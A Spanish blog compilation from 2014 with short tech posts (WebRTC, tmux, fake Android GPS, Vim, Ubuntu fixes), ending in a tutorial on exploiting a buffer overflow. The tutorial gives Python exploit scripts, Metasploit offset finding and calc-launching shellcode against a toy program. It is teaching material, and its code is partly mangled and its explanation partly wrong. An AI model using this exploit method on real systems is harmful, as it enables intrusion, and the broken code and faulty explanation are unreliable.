miércoles, 27 de agosto de 2014

WebRTC: la revolución del videochat desde tu navegador

Apprtc

WebRTC es una tecnología de código abierto (licencia BSD) en al que llevan trabajando Mozilla, Google y Opera desde hace un tiempo, que nos permite realizar una comunicación web en tiempo real como llamadas de video y chat desde el navegador, sin necesidad de utilizar ningún tipo de plugin, simplemente usando HTML5 y una  API basada en Javascript.

Es una tecnología fascinante que algunos piensan que podría cambiar la forma en que se comunica la gente en el mundo digital, libre de estándares propietarios al estilo skype, permitiendo trabajar en cualquier tipo de navegador.

Para entendernos un usuario de Chrome podría comunicarse con cualquier otra persona que tenga Opera o Firefox (esa cosa llamada internet explorer como era de esperar no soporta nada de esto, tampoco Safari por ahora) independientemente también del sistema operativo que usen.

Una buena manera de probar este desarrollo mientras se va incorporando a la versión estable de todos los navegadores es a través de webs como AppRTC (mantenida por el equipo de Google Chrome) o TolBok que trabaja en colaboración con los desarrolladores de Firefox.

Para ello tan solo tenéis que acceder a cualquiera de esas dos páginas, darles permiso para utilizar la webcam y el micro, y a continuación copiar el link que os aparece en la barra de direcciones y compartirlo con las personas con la que deséis chatear.

Llevo desde ayer probando los dos servicios (con un poco más de detalle AppRTC) y he de decir que funcionan bastante bien tanto el audio como el video.

Otra ventaja de esta tecnología es que al estar basado en software libre cualquier desarrollador puede crear sus propias aplicaciones basadas en WebRTC.
Vía | lffl

Imagen | Html5rocks
http://lamiradadelreplicante.com/2014/08/26/webrtc-la-revolucion-del-videochat-desde-tu-navegador/

Tmux: multiples terminales administrados desde una misma consola principal

tmux-1

Actualmente hay quienes tenemos a cargo la administración de gran variedad de servicios como Web, FTP, correo, DNS, proxy y en algunas ocasiones incluso tenemos asignados el proyecto de elaboración del café para todos los compañeros de trabajo.

Por lo que tener tantas ventanas abiertas en nuestro equipo conlleva a sentirnos que estamos dentro de la Matrix y sin el TOTEM a la mano pueden pasar 24 horas y seguimos colgados frente al PC en modo automático. Pues bien, algunas herramientas, facilitan el control visual de todos los servicios en una sola ventana principal.

Entre las existentes podemos mencionar a Tmux que es un terminal multiplexor con la que podemos tener un gran número de terminales en una sola ventana principal, desde la cual podemos acceder y controlarlos, ofreciendo la ventaja de continuar funcionando cada una de las ventanas en segundo plano.
Una sesión es una colección de seudo-terminales bajo la dirección de tmux. Cada sesión tiene una o más ventanas vinculadas. Una ventana ocupa toda la pantalla y puede ser dividido en paneles rectangulares, cada uno de los cuales es un seudo-terminal separado.

Para hacer uso de las opciones de la herramientas debemos tener como punto de apoyo la secuencia de teclas Ctrl+b seguido de la opción que queremos ejecutar.

El proceso de instalación, en algunas distros basadas en Debian como Ubuntu, se puede hacer uso de apt (Advanced Packaging Tool) para su sencillo proceso de instalación.

sudo apt-get install tmux

Los que uséis Fedora
sudo yum install tmux

En caso de que utilicéis Arch Linux o derivadas
sudo pacman -S tmux

Por último los usuarios de openSUSE
su
ypper in tmux
z

Entre las opciones que podemos usar con tmux que nos permitan la movilidad entre las ventanas, se pueden mencionar las siguientes.
  • Para movernos al panel anterior, usamos: Ctrl+b p
  • Para movernos al panel siguiente, podemos usar:  Ctrl+b o
  • Para cambiarnos entre paneles: Ctrl+b q , seguido del numero que se visualiza en la ventana.
tmux-3
  • Para dividir la ventana en vertical, de izquierda a derecha: Ctrl+b %
  • Para salir de Tmux, usamos: Ctrl+b &
  • Para salir de la ventana actual Ctrl+b ! o podemos usar también: Ctrl+d
  • Para conocer las diversas opciones que presenta la herramienta podemos usar: Ctrl+b
tmux-5

  • Para dividir la ventana en horizontal, de arriba, hacia abajo: Ctrl+b
  • Para renombrar la venta actual: Ctrl+b ,
  • Para finalizar el panel actual, con mensaje de confirmación, donde esta tomado el cursor se usa la secuencia: Ctrl+b x

Fuente: http://lamiradadelreplicante.com/2014/08/27/tmux-multiples-terminales-administrados-desde-una-misma-consola-principal/

viernes, 22 de agosto de 2014

Cómo emular ubicaciones falsas en Android

Una de las funciones más útiles que podemos darle a nuestro smartphone es la de navegador GPS, puede sacarnos de un apuro, de un callejón sin salida nunca mejor dicho y además podemos gracias a ese módulo también podemos disfrutar de decenas de aplicaciones que hacen uso de nuestra localización, mandar la ubicación a amigos y familiares por mensajería, localizar nuestro teléfono si lo hemos perdido o “simplemente” etiquetar las fotos con el lugar en el que las hemos tomado.
Sin embargo, no a todo el mundo puede hacerle gracia que diversos servicios puedan tenerle localizado, que condicionen tus búsquedas a donde te encuentras. Lo bueno es que puedes evitarlo emulando ubicaciones falsas desde tu propio teléfono y, aunque no lo creas, entre las opciones de desarrollador está la opción “escondida”. Vamos a explicar cómo hacerlo:
android m
Antes de nada, es probable que no veáis esas “Opciones de desarrollo” en el menú de Ajustes de vuestro dispositivo, es normal, por defecto vienen ocultas, ya que ahí no hay mucho que mirar para el usuario medio. Para activarlas entramos a Ajustes > Información del teléfono y bajamos hasta el apartado que pone “Número de compilación”.
desarrollador ubicaciones
Sobre él, pulsamos repetidas veces (7 en concreto), hasta que aparezca el aviso de que ya están activadas las opciones de desarrollo. Vamos de nuevo al listado general de Ajustes y ahí están por el final. Entramos y veréis muchas opciones y submenús que no sabremos para qué son, mucho ojo con lo que tocáis por aquí. Lo que nos interesa es la opción de “Ubicaciones Simuladas“, activamos la casilla y listo.
Esta opción está indicada para que los desarrolladores puedan testear el funcionamiento de los servicios de ubicación en sus apps sin tener que desplazarse, como explica Google entre su documentación para devsy para que nosotros podamos fingir ubicaciones falsas tan sólo debemos ir a Google Play y buscar “fake gps” o “fake location” y nos devolverá una decena de apps, aquí os dejamos algunas directamente:


Requiere Android 2.3 y versiones superiores
Versión: 3.01
Tamaño: 2,2M


Fuente: http://www.elandroidelibre.com/2014/08/como-emular-ubicaciones-falsas-en-android.html

miércoles, 20 de agosto de 2014

Cheat sheets para manejar Vi/Vim

vim
Vi o su versión mejorada VIM (Vi Improved) es uno de los editores de texto favoritos por muchos desarrolladores a la hora de programar, siendo habitual que las distribuciones GNU/Linux lo incluyan por defecto en su instalación. A pesar de su enorme popularidad no se puede decir que tenga un interfaz muy intuitiva, por lo si empezamos desde cero con el, siempre está bien tener una hoja o chuleta de trucos que nos faciliten el aprendizaje del mismo, ahorrándonos tiempo y esfuerzo
Vía Google + me he encontrado una interesante cheat sheet desarrollada por Mischa Poslawsky aka Shiar licenciada bajo AGPLv3.

En total son varias chuletas interactivas en las que podemos observar los principales diferentes modos de funcionamiento de estos editores.
  • Modo Normal. Es la forma predeterminada de trabajar con Vim, permite emplear combinaciones de teclas para trabajar en el formato del texto (copiar, borrar, mover)
vi-normal-mode
  • Modo Visual: Para la navegación y la selección de bloques de texto, este modo permite realizar la mayoría de los comandos normales, y algunos comandos adicionales, sobre el texto seleccionado
vi-visual-mode
  • Modo Inserción: al activarlo funciona igual que la mayoría de los editores de texto “normales” y se puede iniciar pulsando la tecla i (algo que podéis comprobar en la propia web de Shiar)
vi-insert-mode

Si os interesa tener estas mismas chuletas pero con una resolución superior y al mismo tiempo practicar con algunos de los atajos de Vim os recomiendo que os paséis por la web del autor.

Fuente: http://lamiradadelreplicante.com/2014/08/20/marchando-unas-fantasticas-cheat-sheets-para-manejar-vivim/

FBCacheView v1.03 - View Facebook images stored in the cache of your Web browser



FBCacheView is a simple tool that scans the cache of your Web browser (Internet Explorer, Firefox, or Chrome), and lists all images displayed in Facebook pages that you previously visited, including profile pictures, images uploaded to Facebook, and images taken from other Web sites. For every Facebook image, the following information is displayed: URL of the image, Web browser that was used to visit the page, image type, date/time of the image, visit time, image file size, and external URL (For images taken from another Web site).

Columns Description

  • URL: The URL of the image on Facebook.
  • Web Browser: The Web browser that stores the specified Facebook image file in the cache.
  • Image Type: The type of the image: Profile image, uploaded image, or external image taken from another Web site. For 'External Image' type, the original URL of the image is displayed on 'External URL' column.
  • Image Time: The date/time of the image as returned by the Web server of Facebook. This column usually represents the time that the image was uploaded to Facebook.
  • Browsing Time: The last time that the specified Facebook image was loaded by your Web browser.
  • File Size: The file size of the image.
  • Filename: The full path of the image filename in the cache of your Web browser.
  • External URL: Displays the original URL of the image (Only for external images)   

Fuente: http://hack-tools.blackploit.com/2014/08/fbcacheview-v103-view-facebook-images.html

lunes, 18 de agosto de 2014

Extraer texto de una imagen.

Buenos días.

Hoy presente una buena herramienta que me ha servido mucho para pasar de unas imágenes escaneadas a texto, cabe anotar que solo detecta texto , ya las tablas se debe usar programas mas "avanzados" en mi caso use uno llamado "ABBYY_FineReader_11.0.102.583_Pro_Light_Portable".

 Combinando estas dos herramientas es prácticamente una extracción completa de texto y "organizado", Epson actualmente tambien trae un software propio para realizar esta acción pero "debemos comprar sus productos" en este caso el uso es gratuito y online.


Link de la herramienta:
http://www.onlineocr.net/

Saludos jadcodianos.

Problemas luego de instalar compiz en ubuntu 14.04

Buenos días.

Los que veniamos acostumbrados en las viejas épocas de linux sabiamos de la existencia del compiz que ultimamente ya no se ha vuelto a ver en su furor inicial.

Lamentablemente al parecer tiene muchos conflictos en ubuntu con su nueva intefaz y al instalarlo nos "borrar" las barras de navegación, para solucionar este problema debemos seguir los siguientes pasos:







Si no carga el video, este es el link directo: https://www.youtube.com/watch?v=hvn1OEab1OE
Personalmente ya no me salia el escritorio por lo tanto mi "solución" fue la siguiente:

Instalar gnome-shell para tener otro escritorio para entrar, primero que todo pulsa control-alt-f1 para sacar la consola y luego seguir los siguientes pasos:


sudo apt-get install gnome-shell
como cambiar escritorio unity por gnome shell 5 Cómo cambiar escritorio unity por gnome shell
Esto descargará desde los repositorios de Ubuntu el escritorio gnome-shell y lo instalará en nuestro Ubuntu.
Con esto ya no sería necesario hacer nada más, ya que tendríamos instalado el escritorio gnome-shell, lo único que para acceder a él hay que hacerlo reiniciando el sistema y clicando en la rueda que aparece en el inicio de sesión, justo en la pantalla que introducimos nuestra contraseña:
Inicio de sesión con opciones de escritorio
Clicando en la opción gnome, nos deberá aparecer en el nuevo inicio de sesión el impresionante y funcional escritorio de gnome-shell:
Escritorio gnome 3

Configurando gnome-shell como escritorio por defecto

Si quieres que gnome-shell se el escritorio por defecto al iniciar sesión en Ubuntu, tan solo deberás abrir una nueva terminal y tipear la siguiente orden:
sudo /usr/lib/lightdm/lightdm-set-defaults -s gnome-shell
gnome 3 por defecto
Con esto cada vez que iniciemos sesión en nuestro sistema operativo, será el nuevo escritorio de gnome-shell el que se iniciará por defecto, si quisierais volver a poner por defecto el escritorio de unity tan solo deberíais teclear la siguiente linea en una nueva terminal:
sudo /usr/lib/lightdm/lightdm-set-defaults -s ubuntu
Por defecto unity
Con esto ya tendremos correctamente instalado gnome-shell, el escritorio más espectacular, según mi opinión personal, para nuestra distro Linux favorita.

Fuentes:
http://ubunlog.com/como-cambiar-escritorio-unity-por-gnome-3/
https://www.youtube.com/watch?v=hvn1OEab1OE

Links de ayuda:

http://www.ubuntu-es.org/node/180509#.U_IxhGPzwVV
http://www.enqlu.com/2014/03/how-to-install-gnome-shell-desktop-in-ubuntu-14-04-lts.html
http://blog.intropedro.com/es/content/instalar-o-desinstalar-gnome-kde-o-xfce-en-ubuntu
http://www.ubuntu-guia.com/2011/05/recuperar-restaurar-unity-ubuntu.html
http://www.ubuntu-es.org/node/180509#.U_BFqWPzxRI
http://www.ubuntu-guia.com/2012/07/restaurar-gnome-compiz-y-unity-en.html
http://askubuntu.com/questions/214529/unity-launcher-has-disappeared
http://askubuntu.com/questions/17381/unity-doesnt-load-no-launcher-no-dash-appears
www.itworld.com/software/416001/reset-unity-desktop-ubuntu-1404
http://www.omgubuntu.co.uk/2014/04/ubuntu-14-04-classic-gnome-flashback-session
http://askubuntu.com/questions/462914/how-to-reinstall-unity-desktop-on-ubuntu-14-04
http://www.ubuntu-guia.com/2012/03/en-ubuntu-12.html
http://ubuntuforums.org/showthread.php?t=2004960
http://askubuntu.com/questions/80388/lost-access-to-the-unity-interface-how-to-fix
http://ubuntuhandbook.org/index.php/2014/04/reset-unity-and-compiz-settings-in-ubuntu-14-04/
http://www.softzone.es/2014/02/26/prueba-unity-8-con-mir-desde-el-nuevo-ubuntu-14-04/
http://www.htpcbeginner.com/install-gui-on-ubuntu-server-14-04-gnome/
http://www.taringa.net/posts/linux/16480401/Combinaciones-de-teclas-para-acceso-directo-de-Linux.html


viernes, 8 de agosto de 2014

Explotar un Buffer Overflow

Codigo del Programa a Analizar:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include
 
 
#include
 
using namespace std;
 
int main(int argc, char *argv[])
 
{
 
char Nombre[20];
 
FILE *archivo;
 
char letras[1000];
 
archivo = fopen("config.txt", "r");
 
fgets(letras, 1000, archivo);
 
strcpy(Nombre, letras);
 
 
printf("%s\n", Nombre);
 
system("PAUSE");
 
 
fclose;
 
return EXIT_SUCCESS;
 
}







Este breve comando en C procede a leer de un archivo de configuracion "config.txt" cierta cantidad de letras con el comando fgets, si googleamos un poco
vemos que esta instruccion no controla la cantidad de datos que soporta ni la cantidad de datos que resivira, por lo que por logica, si este comando esta
preparado para recivir 1000 letras y nostros le enviamos 1001 letras esto resultara en un Buffer Overflow y el tipico Cartel de Corrupcion de Memoria.

Entendido el Concepto estamos listos para Probar si esto es cierto.

Utilizando algun lenguaje de programacion (en mi caso python) empesaremos a preprar el exploit.
?
1
2
3
4
5
6
Variable = 'A'
for a in range (999):
   Variable = Variable + 'A'
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

Con este Simple Código Probaremos el Concepto, esto creara un archivo config.txt que contendra 1000 letras A concatenadas.

Sustituimos el archivo de configuracion del programa por el nuestro y vemos como crashea:


Vemos como en un segundo el programa crashea y al no tener un control de Exepcion de Control, mejor conocido como Exeption Handling no salta la clasica ventanita de windows informando que el programa se cerro inesperadamente.

Analicemos con Ollydbg:
Vemos el cartel que nos muestra como el EIP ha sido Sobre Escrito con el codigo hexagecimal 41414141 en nuestro caso AAAA. Hemos Encontrado nuestro BOF, es momento de Explotarlo.

Lo primero que necesitamos es encontrar la direccion exacta donde se realiza la sobre escritura, para eso utilizariamos metasploit

Vamos a nuestra ruta de metasploit y entramos en la carpeta tools

ejecutamos sudo ./pattern_create.rb 1000

y vemos un string de 1000 caracteres irrepetibles, esto nos servira a encontrar el largo exacto de la cadena al momento de la sobree escritura


Sustituimos nuestra la variable de nuestro script en python por el string generado con metasploit

queda de esta manera:

?
1
2
3
4
5
6
7
Variable = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'
#for a in range (999):
    #Variable = Variable + 'A'
Variable = Variable
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()
Ejecutamos este script en python y sustituimos nuevamente el archivo de configuracion. (config.txt)

Ejecutamos nuevamente con ollydbg y vemos el string exacto en exagecimal con el que se sustituyo el EIP

Vamos a Modificar nuevamente nuestro script en python, queda asi:

1
2
3
4
5
6
Variable = 'A'
for a in range (147): #Cuenta desde 0 por lo que queda en 148
    Variable = Variable + 'A'
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()
Sustituimos nuevamente el archivo de configuracion por el nuevo generado por el exploit
Ejecutamos y vemos el siguiente resultado:
Se preguntaran porque se sobreescribe el EIP, si estamos escribiendo 148 caracteres y esto nos pociciona justo en el momento de la sobre escritura?
Esto sucede porq los 148 bytes es la distancia con la cadena sobre escrita osea 4 bytes mas del AAAA con que se sobreeescribe el EPI, por lo que 148-4 = 144 Esto nos posicionara al comieso del EIP sin Sobreescribirlo:

Modificamos el Script y lo dejamos asi:
?
1
2
3
4
5
6
Variable = 'A'
for a in range (143): #Cuenta desde 0 por lo que queda en 144
    Variable = Variable + 'A'
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()
Sustituimos el archivo y ejecutamos nuevamente el programa.

Como vemos el programa no crashea lo q significa q no hemos sobre escrito el EIP y con suerte estamos posicionados al pie de Nuestro EIP, Probemos esto.
Modificamos Nuestro Script y lo dejamos asi:
?
1
2
3
4
5
6
7
8
Variable = 'A'
EIP = 'BBBB'
for a in range (143): #Cuenta desde 0 por lo que queda en 144
    Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP  
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

Copiamos el archivo generado por nuestro exploit y ejecutamos nuevamente el programa

Con esto en la mayoria de los BOF estaremos en el pie del EIP o Relativamente muy cerca con variaciones de +- 4 bytes, Este no es el caso y vemos que el soft sigue crasheando por lo q aplicaremos algo que se conoce como acorralar offset

sabemos que la sobree escritura de nuestro EIP se Produce dentro de los 148 bytes, por lo q dividiremos esto en 2 cadenas de Bytes una con 'A' y la otra con 'B'.

74 bytes 'A' y 74 bytes 'B'

Nuestro Script Quedara Asi:

?
1
2
3
4
5
6
7
8
9
10
11
12
VariableA = 'A'
VariableB = 'B'
Variable = ''
for a in range (74):
    Variable = Variable + 'A'
 
for b in range (74):
    Variable = Variable + 'B'
#Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP  
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()
copiamos el archivo de configuración y ejecutamos:


Como vemos la sobreescritura es de 41414141 o lo q es lo mismo AAAA

dedusimos que la sobre escritura se produce en los primeros 74 bytes.

realizamos nuevamente el procedimiento de pattern_create y pattern_offset de metasploit
creando una cadena al asar e irrepetible de 74 bytes, al ejecutar el programa nueavamente vemos que se sobree escribe el EIP con: 35624134

Pasamos pattern_offset 0x35624134 74

y nos da como resultado 44 bytes, Posiblemente aqui sea donde se sobreescribe el EIP.

Modificamos el Script:

?
1
2
3
4
5
6
7
8
9
VariableA = 'A'
EIP = 'BBBB'
Variable = ''
for a in range (44):
    Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP  
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

Como podemos ver EIP se SobreEscribe con 42424242 por lo que hemos hayado la posicion exacta del EIP

procederemos a realizar nuestro exploit con nuestro shellCode:

La estructura de nuestro script sera:

44 Bytes: A
4 bytes: B (EPI)
100 bytes: C (ShellCode)

El Script queda de esta manera:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
VariableA = 'A'
EIP = 'BBBB'
Variable = ''
ShellCode = ''
for a in range (44): #Cuenta desde 0 por lo que queda en 144
    Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP  
for b in range (100):
    ShellCode = ShellCode + 'C'
 
Variable = Variable+ShellCode
 
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()
Copiamos el archivo de configuración generado a la ruta del software vulnerable y ejecutamos con Ollydbg.


Como podemos ver en los Registros, tenemos:

.EIP SobreEscrito con 42424242 (BBBB)
.ESP SobreEscrito con 100 bytes de 'C'

Esto nos indica que Debemos realizar un Salto con EIP al ESP donde nuestra shellCode Tiene un espacio de 100 bytes (espacio que pude variar dependiendo cuanto indagemos) para ser alojada.

Consigamos un Salto a ESP:

Abrimos Con Nuestro OllyDbg el software vulnerable, cliqueamos en la letra E en la barra Superior de Olly (Executable Modules)

Seleccionamos alguna DLL en la lista y vamos damos click derecho seach for --> Command
y buscamos algo q haga referencia a ESP:

JMP ESP
CALL ESP

o alguna variacion matematica q nos pocicione en ESP

POP POP RET
PUSH PUSH POP, etc.

Una ves que llegamos a esto en mi caso un CALL ESP anotamos la direccion y volvemos al script


Modificamos nuestro script de la siguiente forma:

import struct #Importamos libreria Struct
VariableA = 'A'
EIP = struct.pack('en la Variable que sustituira EIP
Variable = ''
ShellCode = '' #Creamos Variable que contendra la ShellCode
for a in range (44):
Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una
Cadena Identificable que sustituya el EIP
for b in range (100):
ShellCode = ShellCode + 'C' #Llenamos de C los 100 bytes de la
ShellCode.
Variable = Variable+ShellCode
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

copiamos nuestro exploit config.txt al directorio del software vulnerable y ejecutamos con ollydbg, si todo sale bien

no deberia salir ningun cartel de direccion invalida de EIP ya que este realizara un salto al Pie de ESP (Comienzo de Nuestra ShellCode)

Como podemos ver no salto ningun error y vemos en el stack que estamos justo una linea antes de nuestras 'C'
(43x100bytes)

Estamos Listo Para Generar Nuestra ShellCode

Para Esto vamos a Abrir Nuestro Metasploit a Modo Web:

sudo ./msfweb

127.0.0.1:55555

Visitamos La Direccion Web y entramos a nuestro modulo msfweb.

Vamos hacia Payload y selecionamos algun modulo de Command Execution yo elegi:

Windows Execute Command

coloque calc.exe como comando de ejecucion y en tipo de Encode escogi Default Encode (Esto Puede Variar como uno desee)


Cologamos Generate Payload

y aparece nuestra shellCode:

"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x12"
"\x9c\x69\x7a\x83\xeb\xfc\xe2\xf4\xee\x74\x2d\x7a\x12\x9c\xe2\x3f"
"\x2e\x17\x15\x7f\x6a\x9d\x86\xf1\x5d\x84\xe2\x25\x32\x9d\x82\x33"
"\x99\xa8\xe2\x7b\xfc\xad\xa9\xe3\xbe\x18\xa9\x0e\x15\x5d\xa3\x77"
"\x13\x5e\x82\x8e\x29\xc8\x4d\x7e\x67\x79\xe2\x25\x36\x9d\x82\x1c"
"\x99\x90\x22\xf1\x4d\x80\x68\x91\x99\x80\xe2\x7b\xf9\x15\x35\x5e"
"\x16\x5f\x58\xba\x76\x17\x29\x4a\x97\x5c\x11\x76\x99\xdc\x65\xf1"
"\x62\x80\xc4\xf1\x7a\x94\x82\x73\x99\x1c\xd9\x7a\x12\x9c\xe2\x12"
"\x2e\xc3\x58\x8c\x72\xca\xe0\x82\x91\x5c\x12\x2a\x7a\x6c\xe3\x7e"
"\x4d\xf4\xf1\x84\x98\x92\x3e\x85\xf5\xff\x08\x16\x71\xb2\x0c\x02"
"\x77\x9c\x69\x7a";

Eliminamos las "" el ; y los espacios generando un solo string.

Lo Colocamos en nuestro Script (En este caso usare una pequeña shellCode que ejecuta una calc en 19 bytes):

"\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63"

import struct #Importamos libreria Struct
VariableA = 'A'
EIP = struct.pack('en la Variable que sustituira EIP
Variable = ''
ShellCode =
"\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\
x6C\x63" #Creamos Variable que contendra la ShellCodefor a in range (44):
Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una
Cadena Identificable que sustituya el EIP
Variable = Variable+ShellCode
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()
y BOOOOM Nuestra shellCode se ha ejecutado con Exito, Y hemos realizado Nuestro Primer Exploit BOF
Escrito por HD_Breaker









Fuente: http://hdbreaker96.blogspot.com/2013/04/explotar-un-buffer-overflow.html